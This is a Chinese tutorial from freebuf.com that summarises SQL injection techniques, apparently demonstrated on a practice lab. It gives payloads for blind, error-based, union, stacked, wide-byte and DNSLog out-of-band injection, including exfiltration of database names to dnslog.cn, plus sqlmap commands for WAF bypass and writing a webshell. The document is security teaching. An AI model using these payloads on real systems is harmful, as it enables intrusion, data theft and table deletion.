渗透小结-SQL注入篇 – 作者:DXR嗯嗯呐

什么是sql注入

sql注入是一种将sql代码添加到输入参数中,传递到sql解析并执行的一种攻击手法,通过SQL语句,实现无账号登录,甚至篡改数据库。因此,SQL注入也是OWSP TOP 10的常客。

寻找sql注入漏洞的方法

  • 1、识别web应用的所有输入点,检查是否存在sql注入。

  • 2、了解哪些类型请求会触发sql注入,比如一般登陆窗口通过post请求,将用户名和密码进行和数据库的存储的账号密码对比,如果没有对用户输入的账号密码过滤构造特殊的用户或密码进行登陆,例如:user or 1=1 # 。

  • 3、检测服务的相应中的异常。根据响应时间等判断。

sql注入分类

依据注入点类型分类

1、数字类型注入

一般前台通过输入数字产生

1609824866_5ff3fa625740c6ddf0bd1.png!small?1609824866522

进行sql注入测试,存在sql注入

1609824871_5ff3fa678cade23e4c355.png!small

判断注入

and 1=1

and 1=1

select * from test where id=1537 and 1=1 //真条件页面正常

select * from test where id=1537 and 1=2 //假条件返回空

or 1=1

or 1=2

select * from test where id=1537 or 1=1 //永真条件会返回数据库中全部结果

select * from test where id=1537 or 1=2 //1537 or 1=2 返回id等与1537的结果

And 或 ||:意思为和,任何结果为null,则全部为null。

Or 或 &&:意思为或,任何结果不为null,则全部不为null。

如果过滤了=号换成“>”或“<”一个道理。

还有简单的方法就是在id参数后加特殊符号,如’ “ \ % *等一切可能使SQL语句报错的字符。

2、字符串类型的注入

一般通过前台输入的字符串产生

1609825088_5ff3fb40a2aa720e40ea5.png!small?1609825088663

进行sql注入测试

1609825093_5ff3fb453cf075d456700.png!small?1609825093478

根据上图返回yy后台逻辑如下

Select column1,column2 from table where name = ‘前台数据名字’;

构造payload

ss or 1=1 这样会查询不出来信息,因为数据库通过单引号对输入的字符串标记,通过拼接单引号和注释符进行对payload拼接。

sss’ or 1=1 #’

后台逻辑

Select column1,column2 from table where name = ‘sss’ or 1=1 #’;

#号键意思为注释后面的sql,可以–‘替代,不同的数据库注释符不同

+号键意思为空格

3、搜索型注入

搜索注入一般产生在搜索栏

1609825122_5ff3fb624dcdd6e5fe05c.png!small?1609825122358

进行sql注入测试

1609825127_5ff3fb675fdc2bed0e29f.png!small?1609825127891

根据上图返回yy后台逻辑

Select column1,column2 from table where name  like ‘前台输入%’;

构造payload

s’ or 1=1 #’

后台逻辑

Select column1,column2 from table where name  like ‘s%’ or 1=1 #”;

这样我们通过or特征,将全部信息查询出来了。

依据提交方式注入

根据http求请求头的注入点不同进行区分,例如GET注入、POST注入、COOKIE注入、HTTP头注入

1、get注入

GET:适合提交的信息量小的内容,速度快,但是会将提交的内容在地址栏中显示出来,容易被众人所知晓。

通过url,将数据传输至后台。

1609825163_5ff3fb8b83f51e7768b9e.png!small?1609825163628

直接修改url就可以注入

1609825167_5ff3fb8fbf115dac7f7b3.png!small

2、post注入

POST:适合提交信息量较大的内容,对提交的信息具有保护作用,信息不回直接纰漏在地址栏中。

1609825189_5ff3fba5d4022ab3c2cb1.png!small?1609825190311

需要通过一些工具对post请,修改或查看。比如使用火狐中的插件hackbar、使用burpsuite等等。

1609825196_5ff3fbac98ae99f55644d.png!small?1609825198078

3.http头注入

系统可能通过http头信息获取客户端的一些资料,比如useragent、accept字段等。会对客户端的http消息头进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL注入漏洞。

1609825281_5ff3fc019abf6a264103b.png!small?1609825282089

登陆之后显示http头的部分信息,我们可以猜测系统对我们客户端发送的http消息头进行存储,后台逻辑如下:

insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values(‘$is_login_id’,’$remoteipadd’,’$useragent’,’$httpaccept’,’$remoteport’)

构造payload

‘ or updatexml(1,concat(0x7e,detabase()),0) or’

1609825301_5ff3fc15730dde93e4574.png!small?1609825302076

后台逻辑

insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values(‘$is_login_id’,’$remoteipadd’,” or updatexml(1,concat(0x7e,database()),0) or”,’$httpaccept’,’$remoteport’);

4、cookie注入

COOKIE:存储在本地,存活时间较长,可以用于用户验证等功能,但是也存在COOKIE窃取、COOKIE注入等安全问题。系统对COOKIE数据进行sql处理,通过构造COOKIE,进行基于cookie的sql注入。

1609825357_5ff3fc4de5d4ba96ba1f3.png!small?1609825359975

通过burpsuite对web请求包抓取,我们看到cookie中存储着我们的账号密码等信息,与上面的http头注入一样,使用报错返回数据库名

1609825375_5ff3fc5f76a5af8f5cca4.png!small?1609825376349

依据获取信息的方式类型

盲注的概念

在有些情况下,后台使用了错误的消息屏蔽方法屏蔽报错,此时无法根据报错来进行注入的判断。盲注根据不同的形式分为based boolian(真假盲注)和base time(时间盲注)。

1、基于布尔的盲注

基于布尔的盲注主要表现为:

  1. 没有报错信息

  2. 不管是输入的正确还是错误的,都只显示两种情况(对或错)

  3. 在正确的输入下,输入and 1=1/and 1=2发现可以测试

输入vince’ and 1=2 #’发现系统存在sql注入,但是不返回报错信息。

1609825447_5ff3fca795e4b39b82f00.png!small?1609825448991

这样我们就进一步猜测,输入

vince’ and substr(database(),1,1)=’p’ #

判断数据库的第一个字母的是否为p,是则返回username存在,不是返回不存在。进而一步步进行判断出每一个字母。

2、基于时间的盲注

基于时间的盲注和布尔盲注类似,在面对无法通过布尔盲注测试时,可以通过在and后设置响应的时间来判断,实现时间盲注。

睡眠5秒

vince’ and  sleep(5) #

1609825512_5ff3fce88e81011698f1b.png!small?1609825513384

构造payload

vince’ and if((substr(database(),1,1))=’p’,sleep(5),null) #

如果第一个字符是p就会加载五秒,如果不是就会立刻返回。

3、基于报错的注入

基于报错的信息获取:在mysql中使用一些指定的函数来制造报错,从报错信息中获取设定的信息,select/insert/update/delete都可以使用报错来获取信息,后台没有屏蔽数据库报错信息,在语法发生错误是会输出前端。

三个常用的用来报错的函数

  • updatexml():函数是mysql对xml文档数据进行查询和修改的XPATH函数

  • extractvalue():函数是mysql对xml文档数据进行查询的XPATH函数

  • floor():mysql中用来取整的函数

updatexml函数

UPDATEXML (XML_document, XPath_string, new_value);

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

PS:高版本的mysql已经修复了该bug

构造payload

aaa’ or updatexml(1,concat(0x7e,database()),0) or ‘

1609825646_5ff3fd6e11c086466db72.png!small?1609825647240

后台逻辑

insert into member(username,pw,sex,phonenum,email,address) values(‘aaa’ or updatexml(1,concat(0x7e,database()),0) or ”,md5(‘s’),’s’,’s’,’s’,’s’);

extractvalue函数

extractvalue (XML_document, XPath_string);

  • extractvalue():从目标XML中返回包含所查询值的字符串。

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

  • 第二个参数:XPath_string (Xpath格式的字符串)

  • concat:返回结果为连接参数产生的字符串。

构造payload

ss’ or extractvalue(1,concat(0x7e,database())) or ‘

1609825769_5ff3fde96c34db1a5fbb4.png!small?1609825771560

后台逻辑

update member set sex=’test1′,phonenum=’ss’ or extractvalue(1,concat(0x7e,database())) or ”,address=’s’,email=’s’ where username=’s’;

floor函数

select * from security.users where id=1  and(select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

  • Count(*) 统计重复行数

  • Rand() 伪随机数

  • Group by 分组,去重

  • Floor() 向下取整

select count(*) ,concat(database(),floor(rand(0)*2))x from information_schema.tables group by x

floor(rand(0)*2))会产生伪随机数 0 1 1 0 11 0等;

group by x等于分组floor(rand(0)*2));

count(*)统计0和1的数量;

在sql运行时, group by 对floor(rand(0)*2))进行分组,首先遇到第一个值 0,发现 0 不存在,于是需要插入分组,就在这时,floor(rand(0)*2)再次被触发,生成第二个值 1,因此最终插入虚拟表的也就是第二个值 1,然后遇到第三个值 1,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2);遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,然后floor(rand(0)*2)又被触发,生成第五个值 1 ,因此这时还是往虚拟表里插入分组 1 ,但,分组 1 已经存在了。所以报错。

构造payload

and  (select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

4、连合查询注入

连合查询的步骤:

  • 找注入点且得到闭合字符

  • 判断数据库类型

  • 猜解列数,得到显示位

  • 得到基本信息(如:数据库名、数据库版本、当前数据库名等)

1′ order by 2    (判断有几列,在这里有两列)

1609825914_5ff3fe7a3761bbe852822.png!small?1609825914640

s’ union select 1,2 #’  (查看回显)

1609825926_5ff3fe861bef471fbbc0c.png!small?1609825926116

s’ union select user(),database() #’ (查看库名)

1609825937_5ff3fe9173cb626c8f7d6.png!small?1609825937487

5、堆叠查询注入

在SQL中,分号(;)是用来表示一条sql语句的结束。堆叠查询注入通过分号或其他结束符号结束一个sql语句后继续构造下一条语句,堆叠注入可以执行的是任意的语句。

使用条件

堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行。

但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行。

如: 

Mysql

select * from test where id=1;create table test1; #新建一个表

Sql server

select * from test;drop table users; #删除数据表

Oracle

oracle不能使用堆叠注入

其他类型注入

宽字节注入

宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。

宽字节注入的条件

1.数据库编码设置成GB系列

  • 连接数据库使用GB系列的编码。

2.使用了转义函数,将GET、POST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义。

  • 常见的函数包括addslashes()、mysql_real_escape_string()。转义函数的转义作用,就是我们常说的“过滤机制”。

当两个条件都满足时,才会存在宽字节注入。

构造payload

s%DF’ or 1=1 #

1609826060_5ff3ff0c009172b7a3d0f.png!small?1609826061772

DNSLog注入

某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过这种方式把想获得的数据外带出来。

那种情况下是使用

  • SQL注入中的盲注

  • 无回显的命令执行

  • 无回显的SSRF

DNSLog注入的思路

  • 1、构造恶意的sql注入payload,例如:and (Select load_file(concat(‘//’,(Select database()),’.y2btnp.dnslog.cn/1.txt’)))

  • 2、在数据库中(Select database())函数被执行,dns查询就变成了pikachu.y2btnp.dnslog.cn。

  • 3、查询pikachu.y2btnp.dnslog.cn,在dns服务器上就可以看到数据库名称了。

Ps: Load_file返回结果    远程文件 加 ‘//’

DNSlog生成一个域名,构造一个payload实现数据带外

‘ and (Select load_file(concat(‘//’,(select user()),’.noa21e.dnslog.cn/abc’))) #’

1609826145_5ff3ff61918525bfcd016.png!small?1609826146154

sqlmap自动化注入

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。

SQLmap语法:SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。

sqlmap常用语法:

cookie注入

sqlmap.py -u URL –cookie “参数” –tables –level 4

POST登录框注入

sqlmap.py -r post请求文件 -p 指定的参数 –tables

sqlmap.py -u 登录的地址 –forms 自动判断注入

绕过waf防火墙

sqlmap.py -u 注入点 -v 3 –dbs –batch –tamper=modsecurityversioned.py

通过mysql的LOCAL_INFILE 函数写入木马

sqlmap -r 2.txt –batch  –file-write /tmp/shell.php –file-dest /var/www/shell1.php

sqlmap常用参数

-u : 指定目标URL,sql注入点

–cookie : 当前会话的cookie值

-b : 获取数据库类型 检索数据库管理系统的标识(DBMS:Database Management System 数据库管理系统)

–current-db : 获取当前数据库

–current-user :获取当前登录数据库使用的用户

-o : 默认开始所有优化项

–batch : 从不询问用户输入,使用所有默认配置。

–forms : 自动提交表单

–dbs : 查询全部数据库

–tables : 查询数据库下的表

–columns  : 查询表中的字段

–dump  : 查询内容

-r : post请求文件

-p :指定可测试的参数(?page=1&id=2 -p “page,id”)

–level=LEVEL : 执行测试的等级(1-5,默认为1)

–tamper=TAMPER : 使用给定的脚本,篡改注入数据

–tamper “modsecurityversioned.py” : 绕过WAF的脚本

sql注入的防护

  • 1、业务用户和管理用户权限分离。

  • 2、对输入严格过滤和转义。

  • 3、使用预处理和参数化。

  • 等。。。。。,很多方法,我这里就不总结了,如果需要可以自行百度。

完成!!!

来源:freebuf.com 2021-01-05 14:09:17 by: DXR嗯嗯呐

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论